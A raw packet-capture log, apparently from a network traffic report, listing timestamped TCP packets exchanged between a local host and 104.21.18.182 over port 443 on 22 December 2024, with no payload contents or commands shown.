Dec 22, 2024 13:42:24.834621906 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.834670067 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.837227106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.837316036 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.837353945 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.837358952 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.837376118 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.837403059 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.842550993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.842603922 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.842633963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.842639923 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.842678070 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.848011017 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.848064899 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.848088980 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.848093987 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.848134041 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.853097916 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.853147030 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.853215933 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.853221893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.853244066 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.853270054 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.863565922 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.863611937 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.863645077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.863653898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:24.863703012 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:24.863723993 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.014635086 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.014695883 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.014729977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.014736891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.014792919 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.019273996 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.019335985 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.019399881 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.019407988 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.019443989 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.019467115 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.024590969 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.024611950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.024666071 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.024672031 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.024713993 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.029335976 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.029356003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.029400110 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.029406071 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.029436111 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.029464006 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.034722090 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.034744024 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.034790993 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.034796953 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.034821033 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.034847021 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.040119886 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.040139914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.040172100 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.040178061 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.040227890 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.045219898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.045243979 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.045295954 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.045301914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.045356035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.055541039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.055562973 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.055629015 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.055634975 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.055674076 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.207048893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.207104921 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.207143068 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.207165003 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.207185984 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.207206964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.211251020 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.211293936 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.211353064 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.211386919 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.211404085 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.211456060 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.216675043 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.216718912 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.216762066 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.216775894 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.216813087 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.216850996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.221784115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.221842051 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.221885920 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.221899986 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.221939087 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.221959114 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.226970911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.227015972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.227083921 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.227096081 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.227125883 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.227374077 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.232369900 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.232414961 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.232434988 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.232446909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.232496977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.232496977 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.237912893 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.237994909 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.238034964 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.238107920 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.249322891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.249381065 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.249418974 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.249445915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.249478102 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.249504089 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.398907900 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.398957968 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.399023056 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.399041891 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.399071932 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.399152040 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.403409958 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.403471947 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.403506041 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.403520107 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.403548002 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.403565884 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.408795118 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.408838034 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.408982992 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.408994913 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.409013987 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.409178019 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.413505077 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.413562059 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.413614035 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.413626909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.413660049 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.413675070 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.419137955 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.419178963 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.419245005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.419255972 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.419287920 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.419331074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.424372911 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.424413919 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.424453020 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.424464941 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.424494028 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.424515963 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.429594994 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.429655075 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.429687023 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.429697990 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.429725885 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.429744959 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.440643072 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.440701008 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.440748930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.440773964 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.440871954 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.440871954 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.590842962 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.590888023 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.590934992 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.590955973 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.590981007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.591021061 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.595480919 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.595526934 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.595571995 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.595583916 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.595618010 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.595637083 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.600827932 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.600872040 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.600907087 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.600918055 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.600948095 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.600966930 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.605707884 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.605747938 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.605793953 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.605804920 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.605828047 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.605844975 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.611212015 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.611262083 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.611299038 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.611310005 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.611362934 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.611363888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.616383076 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.616427898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.616555929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.616570950 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.616647005 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.621651888 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.621695042 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.621735096 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.621746063 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.621778011 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.621802092 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.632579088 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.632622004 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.632658958 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.632669926 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.632709980 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.632731915 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.782903910 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.782949924 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.782993078 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.783009052 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.783045053 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.783062935 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.787486076 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.787528992 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.787564993 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.787576914 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.787610054 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.787627935 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.792821884 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.792864084 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.792896032 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.792907000 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.792934895 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.792953968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.798244953 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.798286915 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.798325062 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.798336983 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.798374891 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.798394918 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.803112984 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.803158998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.803210974 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.803222895 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.803250074 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.803277969 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.808501959 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.808542967 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.808578968 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.808589935 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.808618069 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.808634996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.813797951 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.813838959 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.813877106 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.813889027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.813916922 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.813941002 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.824698925 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.824755907 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.824795008 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.824806929 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.824848890 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.824867964 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.975182056 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.975244045 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.975281000 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.975301027 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.975349903 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.975373983 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.979496002 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.979542971 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.979581118 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.979593039 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.979624987 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.979851007 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.984913111 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.984956026 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.984978914 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.984996080 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.985024929 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.985044956 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.990303993 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.990346909 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.990381002 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.990391970 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.990426064 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.990441084 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.995117903 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.995150089 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.995184898 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.995196104 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:25.995268106 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:25.995306969 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.000469923 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.000485897 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.000550032 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.000562906 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.000619888 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.005563021 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.005579948 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.005651951 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.005664110 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.005691051 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.005711079 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.016726971 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.016743898 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.016793966 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.016805887 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.016843081 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.016885996 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.167216063 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.167273998 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.167337894 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.167366982 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.167396069 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.171049118 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.171643019 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.171704054 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.171731949 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.171749115 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.171808004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.171808004 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.177129030 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.177186966 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.177218914 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.177231073 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.177262068 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.177280903 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.182328939 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.182346106 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.182420015 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.182434082 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.182483912 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.187964916 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.187980890 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.188057899 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.188086033 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.188134909 CET	49720	443	192.168.2.6	104.21.18.182
Dec 22, 2024 13:42:26.192600965 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.192616940 CET	443	49720	104.21.18.182	192.168.2.6
Dec 22, 2024 13:42:26.192691088 CET	49720	443	192.168.2.6	104.21.18.182
